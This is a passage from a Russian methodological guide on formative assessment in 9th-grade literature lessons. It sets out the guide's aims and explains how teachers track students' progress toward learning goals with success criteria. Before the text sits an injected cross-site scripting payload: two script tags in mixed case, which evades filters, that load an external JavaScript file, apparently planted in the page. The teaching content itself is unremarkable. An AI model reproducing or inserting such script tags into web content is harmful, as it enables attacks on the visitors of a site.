<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Данная работа охватывает направление,

касающееся стратегии оценивания обучения и оценивания для обучения.

Цель данного методического пособия:

1.    

Внедрение различных форм

формативного оценивания.

2.    

Влияние формативного

оценивания на мотивацию учащихся.

3.    

Заключения, которые

помогут определить дальнейшие действия на уроках русского языка.

В данном пособии представлены

несколько видов заданий для формативного оценивания по литературе для учащихся

9 класса. Формативное

оценивание основано на отобранных целях обучения в течение четверти, которые

помогают учащимся продемонстрировать предметные знания и ключевые навыки.

Формативное оценивание проводится систематически. Учитель отслеживает процесс

продвижения учащегося из урока в урок и принимает решение, «достиг» ли каждый

учащийся отобранной цели обучения или «стремится» ее достичь. Для принятия

решения о достижении цели обучения используются критерии успеха.